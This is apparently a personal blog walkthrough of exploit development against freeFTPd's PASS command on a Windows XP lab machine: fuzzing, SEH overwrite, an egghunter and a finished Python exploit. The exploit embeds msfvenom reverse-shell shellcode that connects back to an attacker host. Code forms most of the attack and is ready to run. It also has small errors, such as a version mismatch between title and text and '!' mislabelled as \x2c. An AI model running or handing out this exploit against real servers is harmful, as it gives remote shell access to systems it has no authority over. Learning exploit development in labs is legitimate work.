Structured Exception Handling (SEH) Buffer Overflow
freeFTPd 1.0.10 PASS Command Buffer Overflow

Well, here we are again with another challenge. Only this time, I will walk you through my debugging process to achieve the final result, a reverse shell! So instead of sharing the already figured-out flow, I thought to myself “why don’t I just share the whole debugging process?” Maybe you can help point out what I should not be looking at or where I am wasting my time at.
Please feel free to leave your thoughts in the comment section :)
Setting Up
My good friend from work Sanjog Panda, gave his input on my other post about SEH buffer overflow exploit. He suggested that I also share the OS setup I have and not to jump into conclusions so quickly.
Fun fact! Sanjog and I talked about dollhouse, which is a tool to help monitor Gojek’s substantial Google Cloud Platform infrastructure, in another post. Make sure to check it out! ;)
Alright, enough introduction, let’s get straight to it!
I’m using a Windows XP 2002 Home Edition SP2, 32bit for the operating system, Immunity Debugger v1.85 32-bit Assembler-Level Debugger, and of course our lovely vulnerable freeFTPd v1.0.8.


Make sure you create an anonymous account on the server as the exploit requires a valid anonymous account :)
Fuzzing
I’m treating this exploit as the only information I have regarding this is that it is vulnerable on the PASS command as suggested here.
To fuzz this, I will be using the simple python fuzzer I used in my previous post
import socket
characters = ['!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/',':',';','<','=','>','?','@','[','\\',']','^','_','`','{','|','}','~']for char in characters:
for i in range(30):
print('Character: ' + char + ' amount: ' + str(i*100))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + char * 100 * i + "\r\n")
s.recv(1024)
s.close()
Run that badboy fuzzer and wham!

Look at that! We managed to crash it by sending 800 exclamation marks (!), or \x2c.
Here is what it looks like at the debugger

We didn’t quite manage to overwrite EIP, but EBX is filled with our payload (what good does that do?). When we look at the stack, our !s are the next ones in, but how do we get there? Perhaps we managed to overwrite SEH?

Nothing there..
Well don’t lose hope just yet, after all, we know that this is vulnerable :D
Instead of sending 800 !s, I will try to send 3000 !s. I’m randomly picking 3000 and hope some miracle will happen.
Here is what the debugger looks like after sending 3000 !s.

Not much different on the CPU side, but we did manage to get our payload on the SEH chain.

Alright! That’s a good motivation to continue working on this! What we have to do now, is pass the exception once, hit run, pass exception again, and hit run again. The program will try to execute our payload 21212121

Congratulations! You have just passed your first milestone, getting control of EIP!
Finding the Offset
I personally like this step of the exploit development, because it’s just verifying what we figured out in the previous step. I’ll be generating a sequence thats 3000 chars long and find out with what offset we overwrite EIP with.

Great, now we can search the offset for the sequence 42376142

import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + '!'*801 + 'B'*4 + 'C'*(3000-4-801) + "\r\n")
s.recv(1024)
s.close()
Now we will verify if the offset is correct.


we got the correct offset. now what?!
The POP POP RET

The third address on the stack refers to our payload, mainly the last 4 characters of (!). So now what I will do is find the address of a pop, pop, ret somewhere to replace our EIP and hopefully it will land at the last 4 bytes of (!).
To do this, we will be leveraging the mona script for immunity debugger. For more information about mona, you can find it here.
There is a command in mona to search for a pop pop ret address. All we have to do is fire up the command
!mona seh
From the output, we will be using the last output in display, safeSEH is set to false and the address is in the executable file, meaning it is not OS dependent.
Log data, item 5
Address=00420D30
Message= 0x00420d30 : pop esi # pop ebx # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [FreeFTPDService.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.8.0 (C:\Program Files\freeFTPd\FreeFTPDService.exe)We will use that address as a replacement for our EIP and set a breakpoint to see if it is reached.

Great! We have reached our breakpoint. Step into the instructions (F7). When we return, we are brought to the last 4 bytes of our \x21.

What does this mean? It means we can put in any instruction we want there to be executed!! Sweet!

The Egghunter
There may be many different ways to execute shellcode from here on, but I will use an egghunter because I think it is relatively easy, and doesnt take much space.
I will be setting the nSEH (Next SEH) instructions with a short jump to our egghunter, and from the egghunter to our actual payload.

The egghunter is
# b33f Egghunter (32 bytes)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"It will search for two occurrences of the string “b33f” and execute the payload whatever follows.
Let’s reconstruct the exploit. We need the nSEH to jump back 32 bytes to our egghunter. The instruction to jump back 32 bytes is ‘\xEB\xDE’.
Here is what the exploit looks like now
import socket# Log data, item 5
# Address=00420D30
# Message= 0x00420d30 : pop esi pop ebx ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [FreeFTPDService.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.8.0 (C:\Program Files\freeFTPd\FreeFTPDService.exe)
SEH = '\x30\x0d\x42\x00'# b33f Egghunter (32 bytes)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + '!'*(801-32-4) + egghunter + '\xEB\xDE\x90\x90' + SEH + 'C'*(3000-4-801-32-4) + "\r\n")
s.recv(1024)
s.close()
When we run it, we managed to reach our short jump (EB DE).

Step into the next code, and we have reached our egghunter!!

One last thing to do is place our egg and the payload following that.
Looking at the dump, it seems like I found the right place to place the egg and the payload.

Let’s try this out!
Modify the exploit once again,
import socket# Log data, item 5
# Address=00420D30
# Message= 0x00420d30 : pop esi pop ebx ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [FreeFTPDService.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.8.0 (C:\Program Files\freeFTPd\FreeFTPDService.exe)
SEH = '\x30\x0d\x42\x00'# b33f Egghunter (32 bytes)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"payload = 'b33fb33f' + '\xcc'*(3000-8-4-32-801-32-4)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + '!'*(801-32-4) + egghunter + '\xEB\xDE\x90\x90' + SEH + payload + "\r\n")
s.recv(1024)
s.close()
my payload will be breakpoints ‘\xcc’ so that I can easily identify whether it is reached or not.

Nice! We have finally reached our payload. What I will do now is replace the first instructions of the payload with NOPs and create a shellcode that will give us a shell back.
The Final Payload
We have reached our final stage on this exploit. Its time to generate a reverse shell payload using msfvenom. Here is the command I used
msfvenom -p windows/shell_reverse_tcp -b '\x0a\0d' -i 0 EXITFUNC=seh LHOST=192.168.49.1 LPORT=8443The updated exploit looks like this
import socket# Log data, item 5
# Address=00420D30
# Message= 0x00420d30 : pop esi pop ebx ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [FreeFTPDService.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.8.0 (C:\Program Files\freeFTPd\FreeFTPDService.exe)
SEH = '\x30\x0d\x42\x00'# b33f Egghunter (32 bytes)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68\xc0\xa8\x31\x01\x68\x02\x00\x20\xfb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"payload = 'b33fb33f' + bufs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + '!'*(801-32-4) + egghunter + '\xEB\xDE\x90\x90' + SEH + payload + "\r\n")
s.recv(1024)
s.close()
Don’t forget to set a listener on the attacking host.

Enjoy your reverse shell!
